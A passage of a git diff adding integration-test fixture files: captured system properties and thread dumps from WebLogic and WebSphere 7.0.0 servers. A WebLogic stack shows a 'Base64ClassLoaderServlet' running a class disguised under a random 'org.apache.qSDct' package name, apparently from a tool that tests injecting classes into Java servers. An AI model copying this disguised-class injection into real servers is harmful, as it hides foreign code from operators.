sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at weblogic.socket.NIOSocketMuxer.selectFrom(NIOSocketMuxer.java:653) + at weblogic.socket.NIOSocketMuxer.processSockets(NIOSocketMuxer.java:560) + at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:30) + at weblogic.socket.SocketReaderRequest.execute(SocketReaderRequest.java:43) + at weblogic.kernel.ExecuteThread.execute(ExecuteThread.java:147) + at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:119) + +"DoSManager" #40 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.octetstring.vde.DoSManager.run(DoSManager.java:433) + +"[STANDBY] ExecuteThread: '14' for queue: 'weblogic.kernel.Default (self-tuning)'" #57 daemon [WAITING] on weblogic.work.ExecuteThread@7d1ef636 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:328) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:388) + +"main" #1 [TIMED_WAITING] on weblogic.t3.srvr.T3Srvr@1ab94992 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at weblogic.t3.srvr.T3Srvr.waitForDeath(T3Srvr.java:1136) + at weblogic.t3.srvr.T3ServerFuture.get(T3ServerFuture.java:79) + at weblogic.t3.srvr.T3ServerFuture.get(T3ServerFuture.java:61) + at weblogic.t3.srvr.T3ServerFuture.get(T3ServerFuture.java:15) + at weblogic.Server.main(Server.java:140) + +"[STANDBY] ExecuteThread: '11' for queue: 'weblogic.kernel.Default (self-tuning)'" #51 daemon [WAITING] on weblogic.work.ExecuteThread@620a88b + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:328) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:388) + +"[STANDBY] ExecuteThread: '9' for queue: 'weblogic.kernel.Default (self-tuning)'" #49 daemon [WAITING] on weblogic.work.ExecuteThread@1de03e0b + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:328) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:388) + +"ExecuteThread: '0' for queue: 'weblogic.socket.Muxer'" #29 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at weblogic.socket.NIOSocketMuxer.selectFrom(NIOSocketMuxer.java:653) + at weblogic.socket.NIOSocketMuxer.processSockets(NIOSocketMuxer.java:560) + at weblogic.socket.SocketReaderRequest.run(SocketReaderRequest.java:30) + at weblogic.socket.SocketReaderRequest.execute(SocketReaderRequest.java:43) + at weblogic.kernel.ExecuteThread.execute(ExecuteThread.java:147) + at weblogic.kernel.ExecuteThread.run(ExecuteThread.java:119) + +"Timer-2" #21 daemon [TIMED_WAITING] on java.util.TaskQueue@58fe1f02 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"[ACTIVE] ExecuteThread: '0' for queue: 'weblogic.kernel.Default (self-tuning)'" #22 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at org.apache.qSDct.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2994) + at java.io.PrintWriter.print(PrintWriter.java:617) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at weblogic.servlet.internal.StubSecurityHelper$ServletServiceAction.run(StubSecurityHelper.java:295) + at weblogic.servlet.internal.StubSecurityHelper$ServletServiceAction.run(StubSecurityHelper.java:260) + at weblogic.servlet.internal.StubSecurityHelper.invokeServlet(StubSecurityHelper.java:137) + at weblogic.servlet.internal.ServletStubImpl.execute(ServletStubImpl.java:353) + at weblogic.servlet.internal.TailFilter.doFilter(TailFilter.java:25) + at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:82) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:82) + at weblogic.servlet.internal.WebAppServletContext$ServletInvocationAction.wrapRun(WebAppServletContext.java:3866) + at weblogic.servlet.internal.WebAppServletContext$ServletInvocationAction.run(WebAppServletContext.java:3829) + at weblogic.security.acl.internal.AuthenticatedSubject.doAs(AuthenticatedSubject.java:344) + at weblogic.security.service.SecurityManager.runAsForUserCode(SecurityManager.java:197) + at weblogic.servlet.provider.WlsSecurityProvider.runAsForUserCode(WlsSecurityProvider.java:203) + at weblogic.servlet.provider.WlsSubjectHandle.run(WlsSubjectHandle.java:71) + at weblogic.servlet.internal.WebAppServletContext.processSecuredExecute(WebAppServletContext.java:2502) + at weblogic.servlet.internal.WebAppServletContext.doSecuredExecute(WebAppServletContext.java:2351) + at weblogic.servlet.internal.WebAppServletContext.securedExecute(WebAppServletContext.java:2326) + at weblogic.servlet.internal.WebAppServletContext.execute(WebAppServletContext.java:2304) + at weblogic.servlet.internal.ServletRequestImpl.runInternal(ServletRequestImpl.java:1779) + at weblogic.servlet.internal.ServletRequestImpl.run(ServletRequestImpl.java:1733) + at weblogic.servlet.provider.ContainerSupportProviderImpl$WlsRequestExecutor.run(ContainerSupportProviderImpl.java:272) + at weblogic.invocation.ComponentInvocationContextManager._runAs(ComponentInvocationContextManager.java:352) + at weblogic.invocation.ComponentInvocationContextManager.runAs(ComponentInvocationContextManager.java:337) + at weblogic.work.LivePartitionUtility.doRunWorkUnderContext(LivePartitionUtility.java:57) + at weblogic.work.PartitionUtility.runWorkUnderContext(PartitionUtility.java:41) + at weblogic.work.SelfTuningWorkManagerImpl.runWorkUnderContext(SelfTuningWorkManagerImpl.java:651) + at weblogic.work.ExecuteThread.execute(ExecuteThread.java:420) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:360) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@50ae1341 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:150) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:171) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:188) + +"Thread-20" #42 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@101242f2 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at weblogic.utils.concurrent.JDK15ConcurrentBlockingQueue.take(JDK15ConcurrentBlockingQueue.java:89) + at weblogic.store.internal.PersistentStoreImpl.getOutstandingWork(PersistentStoreImpl.java:868) + at weblogic.store.internal.PersistentStoreImpl.synchronousFlush(PersistentStoreImpl.java:1268) + at weblogic.store.internal.PersistentStoreImpl.run(PersistentStoreImpl.java:1260) + at java.lang.Thread.run(Thread.java:750) + +"Thread-19" #41 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@40b76cbb + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at weblogic.utils.concurrent.JDK15ConcurrentBlockingQueue.take(JDK15ConcurrentBlockingQueue.java:89) + at weblogic.store.internal.PersistentStoreImpl.getOutstandingWork(PersistentStoreImpl.java:868) + at weblogic.store.internal.PersistentStoreImpl.synchronousFlush(PersistentStoreImpl.java:1268) + at weblogic.store.internal.PersistentStoreImpl.run(PersistentStoreImpl.java:1260) + at java.lang.Thread.run(Thread.java:750) + +"Timer-0" #14 daemon [WAITING] on java.util.TaskQueue@68196da0 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"[STANDBY] ExecuteThread: '10' for queue: 'weblogic.kernel.Default (self-tuning)'" #50 daemon [WAITING] on weblogic.work.ExecuteThread@c85513f + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:328) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:388) + +"Timer-1" #20 daemon [WAITING] on java.util.TaskQueue@480d5ff9 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"VDE Transaction Processor Thread" #38 daemon [WAITING] on com.octetstring.vde.backend.standard.TransactionProcessor@24c093fd + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.octetstring.vde.backend.standard.TransactionProcessor.waitChange(TransactionProcessor.java:429) + at com.octetstring.vde.backend.standard.TransactionProcessor.run(TransactionProcessor.java:216) + +"[STANDBY] ExecuteThread: '6' for queue: 'weblogic.kernel.Default (self-tuning)'" #46 daemon [WAITING] on weblogic.work.ExecuteThread@6aca5a75 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:328) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:388) + +"[STANDBY] ExecuteThread: '1' for queue: 'weblogic.kernel.Default (self-tuning)'" #26 daemon [WAITING] on weblogic.work.ExecuteThread@8c36bfc + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at weblogic.work.ExecuteThread.waitForRequest(ExecuteThread.java:328) + at weblogic.work.ExecuteThread.run(ExecuteThread.java:388) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.octetstring.vde.DoSManager +com.octetstring.vde.backend.standard.TransactionProcessor +org.apache.qSDct.ErrorHandler +weblogic.Server +weblogic.invocation.ComponentInvocationContextManager +weblogic.kernel.ExecuteThread +weblogic.platform.GCMonitorThread +weblogic.security.acl.internal.AuthenticatedSubject +weblogic.security.service.SecurityManager +weblogic.server.channels.ServerListenThread +weblogic.servlet.internal.FilterChainImpl +weblogic.servlet.internal.ServletRequestImpl +weblogic.servlet.internal.ServletStubImpl +weblogic.servlet.internal.StubSecurityHelper +weblogic.servlet.internal.StubSecurityHelper$ServletServiceAction +weblogic.servlet.internal.TailFilter +weblogic.servlet.internal.WebAppServletContext +weblogic.servlet.internal.WebAppServletContext$ServletInvocationAction +weblogic.servlet.provider.ContainerSupportProviderImpl$WlsRequestExecutor +weblogic.servlet.provider.WlsSecurityProvider +weblogic.servlet.provider.WlsSubjectHandle +weblogic.socket.NIOSocketMuxer +weblogic.socket.SocketReaderRequest +weblogic.store.internal.PersistentStoreImpl +weblogic.t3.srvr.T3ServerFuture +weblogic.t3.srvr.T3Srvr +weblogic.time.common.internal.TimeEventGenerator +weblogic.time.common.internal.TimeTable +weblogic.timers.internal.TimerThread +weblogic.timers.internal.TimerThread$Thread +weblogic.utils.concurrent.JDK15ConcurrentBlockingQueue +weblogic.work.ExecuteThread +weblogic.work.LivePartitionUtility +weblogic.work.PartitionUtility +weblogic.work.SelfTuningWorkManagerImpl diff --git a/integration-test/src/test/resources/infos/WebSphere700ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/WebSphere700ContainerTestBasicInfo.txt new file mode 100644 index 00000000..1295c808 --- /dev/null +++ b/integration-test/src/test/resources/infos/WebSphere700ContainerTestBasicInfo.txt @@ -0,0 +1,734 @@ +# Generated At 2025-08-10 15:05:58 +SystemProps: +ibm.websphere.internalClassAccessMode: allow +org.osgi.framework.executionenvironment: OSGi/Minimum-1.0,OSGi/Minimum-1.1,JRE-1.1,J2SE-1.2,J2SE-1.3,J2SE-1.4,J2SE-1.5,JavaSE-1.6 +osgi.framework: file:/opt/IBM/WebSphere/AppServer/plugins/org.eclipse.osgi_.jar +java.home: /opt/IBM/WebSphere/AppServer/java/jre +org.osgi.framework.bootdelegation: * +com.ibm.debug.service.register.method: registerElement +java.awt.headless: true +java.endorsed.dirs: /opt/IBM/WebSphere/AppServer/java/jre/lib/endorsed +osgi.bundlestore: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/configuration/org.eclipse.osgi/bundles +java.assistive: ON +java.fullversion: JRE 1.6.0 IBM J9 2.4 Linux amd64-64 jvmxa6460sr9-20111111_94827 (JIT enabled, AOT enabled) +J9VM - 20111111_094827 +JIT - r9_20101028_17488ifx45 +GC - 20101027_AA_CMPRSS +was.repository.root: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/config +java.vendor.url: http://www.ibm.com/ +java.version: 1.6.0 +osgi.os: linux +com.ibm.oti.shared.enabled: true +osgi.splashPath: platform:/base/plugins/org.eclipse.platform +editionSupport: false +com.ibm.oti.vm.library.version: 24 +os.encoding: ANSI_X3.4-1968 +java.protocol.handler.pkgs: com.ibm.net.ssl.www2.protocol|com.ibm.ws.protocol|com.ibm.net.ssl.internal.www.protocol|com.ibm.crypto.provider +com.ibm.jsse2.checkRevocation: false +com.ibm.SOAP.requestTimeout: 600 +user.name: was +org.osgi.framework.version: 1.3.0 +sun.io.unicode.encoding: UnicodeLittle +org.osgi.framework.system.packages: javax.accessibility,javax.activation,javax.activity,javax.annotation,javax.annotation.processing,javax.crypto,javax.crypto.interfaces,javax.crypto.spec,javax.imageio,javax.imageio.event,javax.imageio.metadata,javax.imageio.plugins.bmp,javax.imageio.plugins.jpeg,javax.imageio.spi,javax.imageio.stream,javax.jws,javax.jws.soap,javax.lang.model,javax.lang.model.element,javax.lang.model.type,javax.lang.model.util,javax.management,javax.management.loading,javax.management.modelmbean,javax.management.monitor,javax.management.openmbean,javax.management.relation,javax.management.remote,javax.management.remote.rmi,javax.management.timer,javax.naming,javax.naming.directory,javax.naming.event,javax.naming.ldap,javax.naming.spi,javax.net,javax.net.ssl,javax.print,javax.print.attribute,javax.print.attribute.standard,javax.print.event,javax.rmi,javax.rmi.CORBA,javax.rmi.ssl,javax.script,javax.security.auth,javax.security.auth.callback,javax.security.auth.kerberos,javax.security.auth.login,javax.security.auth.spi,javax.security.auth.x500,javax.security.cert,javax.security.sasl,javax.sound.midi,javax.sound.midi.spi,javax.sound.sampled,javax.sound.sampled.spi,javax.sql,javax.sql.rowset,javax.sql.rowset.serial,javax.sql.rowset.spi,javax.swing,javax.swing.border,javax.swing.colorchooser,javax.swing.event,javax.swing.filechooser,javax.swing.plaf,javax.swing.plaf.basic,javax.swing.plaf.metal,javax.swing.plaf.multi,javax.swing.plaf.synth,javax.swing.table,javax.swing.text,javax.swing.text.html,javax.swing.text.html.parser,javax.swing.text.rtf,javax.swing.tree,javax.swing.undo,javax.tools,javax.transaction,javax.transaction.xa,javax.xml,javax.xml.bind,javax.xml.bind.annotation,javax.xml.bind.annotation.adapters,javax.xml.bind.attachment,javax.xml.bind.helpers,javax.xml.bind.util,javax.xml.crypto,javax.xml.crypto.dom,javax.xml.crypto.dsig,javax.xml.crypto.dsig.dom,javax.xml.crypto.dsig.keyinfo,javax.xml.crypto.dsig.spec,javax.xml.datatype,javax.xml.namespace,javax.xml.parsers,javax.xml.soap,javax.xml.stream,javax.xml.stream.events,javax.xml.stream.util,javax.xml.transform,javax.xml.transform.dom,javax.xml.transform.sax,javax.xml.transform.stax,javax.xml.transform.stream,javax.xml.validation,javax.xml.ws,javax.xml.ws.handler,javax.xml.ws.handler.soap,javax.xml.ws.http,javax.xml.ws.soap,javax.xml.ws.spi,javax.xml.ws.wsaddressing,javax.xml.xpath,org.ietf.jgss,org.omg.CORBA,org.omg.CORBA_2_3,org.omg.CORBA_2_3.portable,org.omg.CORBA.DynAnyPackage,org.omg.CORBA.ORBPackage,org.omg.CORBA.portable,org.omg.CORBA.TypeCodePackage,org.omg.CosNaming,org.omg.CosNaming.NamingContextExtPackage,org.omg.CosNaming.NamingContextPackage,org.omg.Dynamic,org.omg.DynamicAny,org.omg.DynamicAny.DynAnyFactoryPackage,org.omg.DynamicAny.DynAnyPackage,org.omg.IOP,org.omg.IOP.CodecFactoryPackage,org.omg.IOP.CodecPackage,org.omg.Messaging,org.omg.PortableInterceptor,org.omg.PortableInterceptor.ORBInitInfoPackage,org.omg.PortableServer,org.omg.PortableServer.CurrentPackage,org.omg.PortableServer.POAManagerPackage,org.omg.PortableServer.POAPackage,org.omg.PortableServer.portable,org.omg.PortableServer.ServantLocatorPackage,org.omg.SendingContext,org.omg.stub.java.rmi,org.w3c.dom,org.w3c.dom.bootstrap,org.w3c.dom.css,org.w3c.dom.events,org.w3c.dom.html,org.w3c.dom.ls,org.w3c.dom.ranges,org.w3c.dom.stylesheets,org.w3c.dom.traversal,org.w3c.dom.views ,org.xml.sax,org.xml.sax.ext,org.xml.sax.helpers +sun.jnu.encoding: ANSI_X3.4-1968 +java.runtime.name: Java(TM) SE Runtime Environment +log.directory: C:\Software\apache-tomcat-5.5.25 +com.ibm.jcl.checkClassPath: +ibm.system.encoding: ANSI_X3.4-1968 +osgi.instance.area.default: file:/home/was/workspace/ +java.specification.name: Java Platform API Specification +user.timezone: UTC +osgi.nl: en_US +java.awt.fonts: +path.separator: : +java.util.logging.manager: com.ibm.ws.bootstrap.WsLogManager +com.ibm.oti.jcl.build: 20110622_1654 +file.encoding: ANSI_X3.4-1968 +osgi.arch: x86_64 +com.ibm.oti.configuration: scar +sun.java.command: com.ibm.wsspi.bootstrap.WSPreLauncher -nosplash -application com.ibm.ws.bootstrap.WSLauncher com.ibm.ws.runtime.WsServer /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/config DefaultCell01 DefaultNode01 server1 +excludeSteps: EditionOptions +FFDCProcessLevel: 4 +osgi.bundles: com.ibm.cds,com.ibm.ws.eclipse.adaptors,org.eclipse.equinox.common@2:start, org.eclipse.update.configurator@3:start, org.eclipse.core.runtime@start +java.io.tmpdir: /tmp +org.osgi.framework.os.name: Linux +user.language: en +eof: eof +line.separator: + +org.osgi.framework.processor: amd64 +java.security.auth.login.config: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/properties/wsjaas.conf +jxe.lowest.romimage.version: 15 +com.ibm.itp.location: /opt/IBM/WebSphere/AppServer/bin +com.ibm.wsspi.runtime.ThreadPoolRepositoryName: com.ibm.ws.runtime.WSThreadPoolRepository +com.ibm.security.enableCRLDP: false +java.vm.info: JRE 1.6.0 IBM J9 2.4 Linux amd64-64 jvmxa6460sr9-20111111_94827 (JIT enabled, AOT enabled) +J9VM - 20111111_094827 +JIT - r9_20101028_17488ifx45 +GC - 20101027_AA_CMPRSS +osgi.manifest.cache: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/configuration/org.eclipse.osgi/manifests +sun.java.launcher.pid: 342 +java.util.prefs.PreferencesFactory: java.util.prefs.FileSystemPreferencesFactory +java.vm.specification.name: Java Virtual Machine Specification +com.ibm.security.krb5.Krb5Debug: off +java.naming.provider.url: corbaloc:rir:/NameServiceServerRoot +FFDCLogDirectory: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/logs/ffdc +com.ibm.cpu.endian: little +osgi.configuration.area: file:/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/configuration/ +java.awt.printerjob: sun.print.PSPrinterJob +com.ibm.util.extralibs.properties: +osgi.ws: motif +org.osgi.supports.framework.extension: true +osgi.framework.extensions: com.ibm.cds,com.ibm.ws.eclipse.adaptors +osgi.parentClassloader: app +org.osgi.framework.language: en +os.name: Linux +java.specification.vendor: Sun Microsystems Inc. +jxe.current.romimage.version: 15 +java.vm.name: IBM J9 VM +eclipse.buildId: M20060921-0945 +java.library.path: /opt/IBM/WebSphere/AppServer/java/jre/lib/amd64/compressedrefs:/opt/IBM/WebSphere/AppServer/java/jre/lib/amd64:/opt/IBM/WebSphere/AppServer/bin::/usr/lib +eclipse.commands: -nosplash +-application +com.ibm.ws.bootstrap.WSLauncher + +java.class.version: 50.0 +osgi.syspath: /opt/IBM/WebSphere/AppServer/plugins +java.compiler: j9jit24 +server.root: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01 +com.ibm.security.enableNULLCRLDP: true +osgi.instance.area: file:/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/temp/osgi_instance_location/was/914167202/ +osgi.install.area: file:/opt/IBM/WebSphere/AppServer/ +sun.boot.library.path: /opt/IBM/WebSphere/AppServer/java/jre/lib/amd64/compressedrefs:/opt/IBM/WebSphere/AppServer/java/jre/lib/amd64 +osgi.checkConfiguration: false +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +user.variant: +eclipse.security: +was.status.socket: 45403 +user.install.root: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01 +osgi.classloader.lock: classname +java.vm.specification.version: 1.0 +java.ext.dirs: /opt/IBM/WebSphere/AppServer/java/jre/lib/ext +osgi.framework.version: 3.2.1.R32x_v20060919 +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +user.home: /home/was +com.ibm.ejs.jts.processType: server +java.vm.vendor: IBM Corporation +python.cachedir: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/temp/cachedir +com.ibm.ws.jsp.taglib.annotation.AnnotationHandler: com.ibm.ws.jsp.annotation.WASAnnotationHandler +user.dir: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01 +org.osgi.framework.os.version: 6.14.10-orbstack-00291-g1b252bd3edea +osgi.framework.shape: jar +com.ibm.vm.bitmode: 64 +was.repository.temp: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/config/temp/ +osgi.noLazyStateLoading: true +eclipse.ee.install.verify: false +com.ibm.security.jgss.debug: off +java.util.logging.configureByServer: true +eclipse.startTime: 1754838301312 +java.vm.version: 2.4 +java.class.path: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/properties:/opt/IBM/WebSphere/AppServer/properties:/opt/IBM/WebSphere/AppServer/lib/startup.jar:/opt/IBM/WebSphere/AppServer/lib/bootstrap.jar:/opt/IBM/WebSphere/AppServer/lib/jsf-nls.jar:/opt/IBM/WebSphere/AppServer/lib/lmproxy.jar:/opt/IBM/WebSphere/AppServer/lib/urlprotocols.jar:/opt/IBM/WebSphere/AppServer/deploytool/itp/batchboot.jar:/opt/IBM/WebSphere/AppServer/deploytool/itp/batch2.jar:/opt/IBM/WebSphere/AppServer/java/lib/tools.jar +os.arch: amd64 +javax.rmi.CORBA.UtilClass: com.ibm.ws.orb.WSUtilDelegateImpl +ws.ext.dirs: /opt/IBM/WebSphere/AppServer/java/lib:/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/classes:/opt/IBM/WebSphere/AppServer/classes:/opt/IBM/WebSphere/AppServer/lib:/opt/IBM/WebSphere/AppServer/installedChannels:/opt/IBM/WebSphere/AppServer/lib/ext:/opt/IBM/WebSphere/AppServer/web/help:/opt/IBM/WebSphere/AppServer/deploytool/itp/plugins/com.ibm.etools.ejbdeploy/runtime +sun.java.launcher: SUN_STANDARD +org.osgi.framework.vendor: Eclipse +was.debug.mode: true +java.vm.specification.vendor: Sun Microsystems Inc. +was.install.root: /opt/IBM/WebSphere/AppServer +file.separator: / +java.runtime.version: pxa6460sr9fp2-20111111_05 (SR9 FP2) +ibm.signalhandling.sigint: true +sun.boot.class.path: /opt/IBM/WebSphere/AppServer/lib/dertrjrt.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/ext/ibmorb.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/ext/ibmext.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/amd64/compressedrefs/jclSC160/vm.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/annotation.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/beans.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/java.util.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/jndi.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/logging.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/security.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/sql.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/ibmorb.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/ibmorbapi.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/ibmcfw.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/rt.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/charsets.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/resources.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/ibmpkcs.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/ibmcertpathfw.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/ibmjgssfw.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/ibmjssefw.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/ibmsaslfw.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/ibmjcefw.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/ibmjgssprovider.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/ibmjsseprovider2.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/ibmcertpathprovider.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/ibmxmlcrypto.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/management-agent.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/xml.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/jlm.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/javascript.jar +java.security.policy: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/properties/server.policy +ibm.signalhandling.rs: false +sun.java2d.fontpath: +osgi.frameworkClassPath: ., file:/opt/IBM/WebSphere/AppServer/plugins/com.ibm.cds_.jar, file:/opt/IBM/WebSphere/AppServer/plugins/com.ibm.ws.eclipse.adaptors_7.0.0.jar +user.country: US +osgi.configuration.cascaded: false +osgi.framework.beginningstartlevel: 1 +osgi.logfile: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/temp/osgi_instance_location/was/914167202/.metadata/.log +java.jcl.version: 20110727_04 +com.ibm.oti.vm.bootstrap.library.path: /opt/IBM/WebSphere/AppServer/java/jre/lib/amd64/compressedrefs:/opt/IBM/WebSphere/AppServer/java/jre/lib/amd64 +com.ibm.IPC.requestTimeout: 600 +ibm.signalhandling.sigchain: true +java.vendor: IBM Corporation +javax.management.builder.initial: com.ibm.ws.management.PlatformMBeanServerBuilder +derby.system.home: /opt/IBM/WebSphere/AppServer/derby +java.naming.factory.url.pkgs: com.ibm.ws.naming:com.ibm.ws.runtime +java.specification.version: 1.6 +com.ibm.debug.service.register.class: com.ibm.debug.DebugAttachAgent +sun.arch.data.model: 64 + +=========================================== + +ThreadStacks: +"ServerSocket[addr=0.0.0.0/0.0.0.0,port=0,localport=8880]" #57 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.PlainSocketImpl.accept(PlainSocketImpl.java:451) + at java.net.ServerSocket.implAccept(ServerSocket.java:464) + at java.net.ServerSocket.accept(ServerSocket.java:432) + at com.ibm.ws.http.HttpTransport.run(HttpTransport.java:475) + at java.lang.Thread.run(Thread.java:736) + +"Deferrable Alarm : 2" #82 daemon [TIMED_WAITING] on com.ibm.ws.util.BoundedBuffer$GetQueueLock@757f757f + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:196) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:187) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:609) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:872) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1611) + +"Deferred Alarm Manager" #33 daemon [TIMED_WAITING] on java.util.concurrent.ConcurrentSkipListMap@6c626c62 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:196) + at com.ibm.ejs.util.am.AlarmManagerThreadCSLM.run(AlarmManagerThreadCSLM.java:153) + at java.lang.Thread.run(Thread.java:736) + +"Non-Deferred Alarm Manager" #34 daemon [TIMED_WAITING] on java.util.concurrent.ConcurrentSkipListMap@6e0b6e0b + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:196) + at com.ibm.ejs.util.am.AlarmManagerThreadCSLM.run(AlarmManagerThreadCSLM.java:153) + at 